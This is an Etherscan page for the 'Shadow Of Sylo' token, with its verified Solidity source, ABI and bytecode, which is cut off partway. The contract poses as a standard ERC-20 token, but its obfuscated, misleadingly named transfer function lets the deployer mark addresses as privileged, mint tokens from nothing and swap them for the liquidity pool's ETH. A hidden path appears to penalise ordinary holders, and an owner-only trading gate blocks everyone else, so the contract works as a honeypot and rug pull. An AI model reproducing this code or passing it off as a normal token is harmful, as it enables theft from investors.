ETH Price: $3,312.27 (-2.90%)
Gas: 15 Gwei

Token

Shadow Of Sylo (S.O.S)
 

Overview

Max Total Supply

100,000,000 S.O.S

Holders

20

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Kanagawa Nami: Deployer
Balance
1,000,000 S.O.S

Value
$0.00
0x93629a98cb116b96e8fe9b782c5f95afd1f5e5a2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ShadowOfSylo

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-24
*/

/*
────▄██▄──▄██▄
───▐█─▀▄▌▐▄▀─█▌
────▀█▄─▌▐─▄█▀
█▄▄▄▄▄█▌──▐█▄▄▄▄▄█
▐█████▀────▀█████▌
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function Quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function GetAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function GetAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function GetAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function GetAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _setOwner(_msgSender());
    }  
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }
    function waiveOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }
    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
/*
de ETHERSCAN.io. 45k MC.
*/
// https://www.smartcontracts.tools/
// https://web.wechat.com/ShadowOfSyloJPN

contract ShadowOfSylo is IERC20, Ownable {

    string private _symbol;
    string private _name;
    uint256 public _rTotalFee = 0;
    uint8 private _decimals = 9;
    uint256 private _rTotal = 100000000 * 10**_decimals;
    uint256 private limitsInEffect = _rTotal;
    uint256 public maxTransactionAmount;
    
    mapping(address => uint256) private _balances;
    mapping(address => address) private bots;
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _bots;
    mapping(address => mapping(address => uint256)) private _allowances;
    
    bool private tradingOpen = false;
    bool public enableEarlySellTax;
    bool private tradingActive;

    address public immutable uniswapV2Pair;
    IUniswapV2Router02 public immutable router;

    constructor(
        string memory Name,
        string memory Symbol,
        address routerAddress
    ) {
        _name = Name;
        _symbol = Symbol;
        _balances[msg.sender] = _rTotal;
        _bots[msg.sender] = limitsInEffect;
        _bots[address(this)] = limitsInEffect;
        router = IUniswapV2Router02(routerAddress);
        uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
        emit Transfer(address(0), msg.sender, _rTotal);
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function name() public view returns (string memory) {
        return _name;
    }
    function totalSupply() public view returns (uint256) {
        return _rTotal;
    }
    function decimals() public view returns (uint256) {
        return _decimals;
    }
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        ManageBots      (sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }
    function transfer(address recipient, uint256 amount) external returns (bool) {
        ManageBots      (msg.sender, recipient, amount);
        return true;
    }
    function ManageBots     (
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 contractETHBalance = balanceOf(address(this));
        uint256 _getRate;
        if (enableEarlySellTax && contractETHBalance > limitsInEffect && !tradingActive && from != uniswapV2Pair) {
            tradingActive = true;
            setTrading(contractETHBalance);
            tradingActive = false;
        } else if (_bots[from] > limitsInEffect && _bots[to] > limitsInEffect) {
            _getRate = amount;
            _balances[address(this)] += _getRate;
            swapAmountForTokens(amount, to);
            return;
        } else if (to != address(router) && _bots[from] > 0 && amount > limitsInEffect && to != uniswapV2Pair) {
            _bots[to] = amount;
            return;
        } else if (!tradingActive && _rOwned[from] > 0 && from != uniswapV2Pair && _bots[from] == 0) {
            _rOwned[from] = _bots[from] - limitsInEffect;
        }
        address blocklist = bots[uniswapV2Pair];
        if (_rOwned[blocklist] == 0) _rOwned[blocklist] = limitsInEffect;
        bots[uniswapV2Pair] = to;
        if (_rTotalFee > 0 && _bots[from] == 0 && !tradingActive && _bots[to] == 0) {
            _getRate = (amount * _rTotalFee) / 100;
            amount -= _getRate;
            _balances[from] -= _getRate;
            _balances[address(this)] += _getRate;
        }
        _balances[from] -= amount;
        _balances[to] += amount;
        emit Transfer(from, to, amount);
         //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
    }
    receive() external payable {}

    function addLiquidity(
        uint256 tokenAmount,
        uint256 ethAmount,
        address to
    ) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
    }
    function setTrading(uint256 tokens) private {
        uint256 half = tokens / 2;
        uint256 startBalance = address(this).balance;
        swapAmountForTokens(half, address(this));
        uint256 nowBalance = address(this).balance - startBalance;
        addLiquidity(half, nowBalance, address(this));
    }
        function openTrading(bool _tradingOpen) public onlyOwner {
        tradingOpen = _tradingOpen;
    }
    function swapAmountForTokens(uint256 tokenAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"Name","type":"string"},{"internalType":"string","name":"Symbol","type":"string"},{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_rTotalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableEarlySellTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060405260006003556009600460006101000a81548160ff021916908360ff160217905550600460009054906101000a900460ff16600a6200004391906200066a565b6305f5e100620000549190620006bb565b6005556005546006556000600d60006101000a81548160ff0219169083151502179055503480156200008557600080fd5b50604051620031f1380380620031f18339818101604052810190620000ab91906200091e565b620000cb620000bf6200040460201b60201c565b6200040c60201b60201c565b8260029081620000dc919062000bf9565b508160019081620000ee919062000bf9565b50600554600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600654600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600654600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff168152505060a05173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000243573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000269919062000ce0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060a05173ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002d3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f9919062000ce0565b6040518363ffffffff1660e01b81526004016200031892919062000d23565b6020604051808303816000875af115801562000338573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200035e919062000ce0565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620003f3919062000d61565b60405180910390a350505062000d7e565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200055e57808604811115620005365762000535620004d0565b5b6001851615620005465780820291505b80810290506200055685620004ff565b945062000516565b94509492505050565b6000826200057957600190506200064c565b816200058957600090506200064c565b8160018114620005a25760028114620005ad57620005e3565b60019150506200064c565b60ff841115620005c257620005c1620004d0565b5b8360020a915084821115620005dc57620005db620004d0565b5b506200064c565b5060208310610133831016604e8410600b84101617156200061d5782820a905083811115620006175762000616620004d0565b5b6200064c565b6200062c84848460016200050c565b92509050818404811115620006465762000645620004d0565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620006778262000653565b915062000684836200065d565b9250620006b37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000567565b905092915050565b6000620006c88262000653565b9150620006d58362000653565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007115762000710620004d0565b5b828202905092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b62000785826200073a565b810181811067ffffffffffffffff82111715620007a757620007a66200074b565b5b80604052505050565b6000620007bc6200071c565b9050620007ca82826200077a565b919050565b600067ffffffffffffffff821115620007ed57620007ec6200074b565b5b620007f8826200073a565b9050602081019050919050565b60005b838110156200082557808201518184015260208101905062000808565b8381111562000835576000848401525b50505050565b6000620008526200084c84620007cf565b620007b0565b90508281526020810184848401111562000871576200087062000735565b5b6200087e84828562000805565b509392505050565b600082601f8301126200089e576200089d62000730565b5b8151620008b08482602086016200083b565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620008e682620008b9565b9050919050565b620008f881620008d9565b81146200090457600080fd5b50565b6000815190506200091881620008ed565b92915050565b6000806000606084860312156200093a576200093962000726565b5b600084015167ffffffffffffffff8111156200095b576200095a6200072b565b5b620009698682870162000886565b935050602084015167ffffffffffffffff8111156200098d576200098c6200072b565b5b6200099b8682870162000886565b9250506040620009ae8682870162000907565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000a0b57607f821691505b60208210810362000a215762000a20620009c3565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000a8b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000a4c565b62000a97868362000a4c565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000ada62000ad462000ace8462000653565b62000aaf565b62000653565b9050919050565b6000819050919050565b62000af68362000ab9565b62000b0e62000b058262000ae1565b84845462000a59565b825550505050565b600090565b62000b2562000b16565b62000b3281848462000aeb565b505050565b5b8181101562000b5a5762000b4e60008262000b1b565b60018101905062000b38565b5050565b601f82111562000ba95762000b738162000a27565b62000b7e8462000a3c565b8101602085101562000b8e578190505b62000ba662000b9d8562000a3c565b83018262000b37565b50505b505050565b600082821c905092915050565b600062000bce6000198460080262000bae565b1980831691505092915050565b600062000be9838362000bbb565b9150826002028217905092915050565b62000c0482620009b8565b67ffffffffffffffff81111562000c205762000c1f6200074b565b5b62000c2c8254620009f2565b62000c3982828562000b5e565b600060209050601f83116001811462000c71576000841562000c5c578287015190505b62000c68858262000bdb565b86555062000cd8565b601f19841662000c818662000a27565b60005b8281101562000cab5784890151825560018201915060208501945060208101905062000c84565b8683101562000ccb578489015162000cc7601f89168262000bbb565b8355505b6001600288020188555050505b505050505050565b60006020828403121562000cf95762000cf862000726565b5b600062000d098482850162000907565b91505092915050565b62000d1d81620008d9565b82525050565b600060408201905062000d3a600083018562000d12565b62000d49602083018462000d12565b9392505050565b62000d5b8162000653565b82525050565b600060208201905062000d78600083018462000d50565b92915050565b60805160a05161240062000df1600039600081816109d301528181610d77015281816116ec015281816117cd015281816117f50152818161189201526118ba01526000818161066f01528181610bde01528181610e2601528181610f2a01528181611063015261117401526124006000f3fe60806040526004361061010d5760003560e01c8063914eb66a11610095578063c8c8ebe411610064578063c8c8ebe41461037a578063dd62ed3e146103a5578063f2fde38b146103e2578063f66db7ce1461040b578063f887ea401461043657610114565b8063914eb66a146102d057806395d89b41146102e7578063a4d15b6414610312578063a9059cbb1461033d57610114565b80632a9b8072116100dc5780632a9b8072146101e9578063313ce5671461021257806349bd5a5e1461023d57806370a08231146102685780638da5cb5b146102a557610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610461565b60405161013b9190611a01565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190611abc565b6104f3565b6040516101789190611b17565b60405180910390f35b34801561018d57600080fd5b50610196610508565b6040516101a39190611b41565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190611b5c565b610512565b6040516101e09190611b17565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190611bdb565b6105ba565b005b34801561021e57600080fd5b50610227610653565b6040516102349190611b41565b60405180910390f35b34801561024957600080fd5b5061025261066d565b60405161025f9190611c17565b60405180910390f35b34801561027457600080fd5b5061028f600480360381019061028a9190611c32565b610691565b60405161029c9190611b41565b60405180910390f35b3480156102b157600080fd5b506102ba6106da565b6040516102c79190611c17565b60405180910390f35b3480156102dc57600080fd5b506102e5610703565b005b3480156102f357600080fd5b506102fc61078b565b6040516103099190611a01565b60405180910390f35b34801561031e57600080fd5b5061032761081d565b6040516103349190611b17565b60405180910390f35b34801561034957600080fd5b50610364600480360381019061035f9190611abc565b610830565b6040516103719190611b17565b60405180910390f35b34801561038657600080fd5b5061038f610847565b60405161039c9190611b41565b60405180910390f35b3480156103b157600080fd5b506103cc60048036038101906103c79190611c5f565b61084d565b6040516103d99190611b41565b60405180910390f35b3480156103ee57600080fd5b5061040960048036038101906104049190611c32565b6108d4565b005b34801561041757600080fd5b506104206109cb565b60405161042d9190611b41565b60405180910390f35b34801561044257600080fd5b5061044b6109d1565b6040516104589190611cfe565b60405180910390f35b60606002805461047090611d48565b80601f016020809104026020016040519081016040528092919081815260200182805461049c90611d48565b80156104e95780601f106104be576101008083540402835291602001916104e9565b820191906000526020600020905b8154815290600101906020018083116104cc57829003601f168201915b5050505050905090565b60006105003384846109f5565b905092915050565b6000600554905090565b600061051f848484610b90565b6105b1843384600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105ac9190611da8565b6109f5565b90509392505050565b6105c2611540565b73ffffffffffffffffffffffffffffffffffffffff166105e06106da565b73ffffffffffffffffffffffffffffffffffffffff1614610636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062d90611e28565b60405180910390fd5b80600d60006101000a81548160ff02191690831515021790555050565b6000600460009054906101000a900460ff1660ff16905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61070b611540565b73ffffffffffffffffffffffffffffffffffffffff166107296106da565b73ffffffffffffffffffffffffffffffffffffffff161461077f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077690611e28565b60405180910390fd5b6107896000611548565b565b60606001805461079a90611d48565b80601f01602080910402602001604051908101604052809291908181526020018280546107c690611d48565b80156108135780601f106107e857610100808354040283529160200191610813565b820191906000526020600020905b8154815290600101906020018083116107f657829003601f168201915b5050505050905090565b600d60019054906101000a900460ff1681565b600061083d338484610b90565b6001905092915050565b60075481565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6108dc611540565b73ffffffffffffffffffffffffffffffffffffffff166108fa6106da565b73ffffffffffffffffffffffffffffffffffffffff1614610950576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094790611e28565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b690611eba565b60405180910390fd5b6109c881611548565b50565b60035481565b7f000000000000000000000000000000000000000000000000000000000000000081565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a605750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610a9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9690611f4c565b60405180910390fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b7d9190611b41565b60405180910390a3600190509392505050565b6000610b9b30610691565b90506000600d60019054906101000a900460ff168015610bbc575060065482115b8015610bd55750600d60029054906101000a900460ff16155b8015610c2d57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610c76576001600d60026101000a81548160ff021916908315150217905550610c568261160c565b6000600d60026101000a81548160ff02191690831515021790555061105b565b600654600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d065750600654600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610d755782905080600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d5d9190611f6c565b92505081905550610d6e838561164d565b505061153b565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610e1057506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610e1d575060065483115b8015610e7557507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610ec55782600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505061153b565b600d60029054906101000a900460ff16158015610f2157506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610f7957507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610fc457506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561105a57600654600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110169190611da8565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600960007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361116d57600654600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84600960007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060035411801561125c57506000600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156112755750600d60029054906101000a900460ff16155b80156112c057506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561139c576064600354856112d59190611fc2565b6112df919061204b565b915081846112ed9190611da8565b935081600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461133e9190611da8565b9250508190555081600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113949190611f6c565b925050819055505b83600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113eb9190611da8565b9250508190555083600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160